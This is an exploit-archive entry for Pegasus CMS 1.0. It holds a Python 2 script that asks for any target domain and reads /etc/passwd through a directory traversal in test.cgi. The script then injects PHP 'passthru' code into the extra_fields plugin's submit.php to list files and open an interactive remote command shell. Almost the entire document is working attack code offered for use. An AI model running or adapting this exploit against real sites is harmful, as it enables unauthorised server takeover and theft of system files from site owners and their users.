Pegasus CMS 1.0 - 'extra_fields.php' Plugin Remote Code Execution

# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution
# Date: 14 March 2019
# Exploit Author: R3zk0n
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms
# Software Link: N/A
# Version: 1.0
# Tested on: Linux
# CVE : N/A

The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions. 

The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution

Exploit attached below:

#Eval is secure.. not really.
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al
requests.packages.urllib3.disable_warnings()
banner = '''
Welcome to the DANGER ZONE.
                                  ;;J,ss,g,;
                          ,s#@##"""77"^""77""@@Mw,
                      ,#@#C7:             ,,     *^*@@@w
                   ;@#7.             ;#@#.     ]ssmMMm#@@@m,
                ,##\`        ,<   ,@@@@Q ,,#@#*7` ;s@@@@@@@@@Q
              ;@#`         ]@C  ;@@@@@@@@@@"\  ;@@@@@@@@@@@@@@@m
             @#\          #@@w#@@@@@@@@@@#~   @@@#M5"7j5#@@@@@@@@Q
           ;@C           @@@@@@@@@@@@@@#\    @#\,           *77@@@k
          ##.           #@@@@@@@@@@@@@#     '*                  {@@@
         @#`          a@@@@@@@@@@@@@@L                           *%@@
        {@*        ]@@@@@@@@@@@@@@#C*                              "@@
       .@b;,s#@@@@@@@#@@#@@@@@@#C*                   ;s#@@@@@@m,    j@b
       @@@#@@@@@@@@@@@@@@@@@@#C    =*        ,ppJJs#@@@@@@@@@@@@@k   @@
       @#1@@@@@@@@@@@@@@@@#W~             ;@QQ@@@@@@@@@#` `|7@@@@~ ]@p
       @[ @@5"@@@@@@@@@@#~            s@@@@@####@@@@@#\         @@@b ]@b
       @[  @   j@@@@@@@@~]#"7        "@@#"\      7@@C           @@@b ]@b
       @@       @@@@@@@@@@c           ^@@         ]@          ,@@@#  @@b
       @@~  @   @@@@@@@@@@@b                      @#        a@@@@"  ]@@
       j@Q  @@@@@@@@@@@@@@@@o        ,J          ]\      s@@@@#"`  ]@@L
        ]@b ]@@@@@@@@@@@@@@@@o     ,@@@@>             ;@@@@@#^    #@@#
         @@Q """%*577"%@@@@@@#   ]@@@@@C            ;@@@@#C     ;@@@#*
          %@m          @@@@@@@  .@@@@@#            {@@@@@>    s@@@@#*
           7@@        @@M@@@@@k ^@@@"#             @@@@@@@@@@@@@@@#
            *@@m     @@bj@@@b@@@o|"^]#              %@@@@@@#M7@@#^
              7@@m   "#  @@# @@7@@@@@@~               ^||:`,#@#C
                ^%@@m j   @b j# \@@@@@@                 ,#@@#
                  `7@@@mJ  7  '  |%@@@@@m,     -g,ss#@@@@#C
                     `7%@@@Mm,     `7"%####@@MMMM#@@@#M7.
                          ^7@@@@@@@@@@@@@@@@@@@@#MT^:
                                `~^"7""""7^\*:
Chimeria Exploit.
pegausCMS Exploit's.
'''


print banner


raw_url = raw_input("Please enter a domain name: \n")


def dir_Trav(raw_url):
    print "Checking for directory travseral..\n"
    dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})
    print dir_list.content
    return
print "Trying to execute directory travseral"
dir_Trav(raw_url)
r = requests.get("http://" + raw_url)
print "Checking Status code: %s" % r.status_code
if r.status_code == 200:
    print "Connected"
    print "Checking is using vulnerable CMS."
    vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"
    b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")
    print "Checking CMS Status: %s " % b.status_code
    if b.status_code == 200:
        print "Seems exploitable.. Lets try to list the files!"



        print raw_url
        list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})
        print list_files.content
        status = list_files.status_code
        while status == 200:
            try:
                ShellCheck = raw_input("Shell>").strip()

                Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})

                print Shell.content
                if ShellCheck == "exit":
                    sys.exit(0)
            except KeyboardInterrupt:
                print "Your exited bye"
                sys.exit(0)

    else:
        print "Connected but does not seem exploitable. \n"
        print "Bye!!!!!!!!!! \n"




else:
    print "Not connected"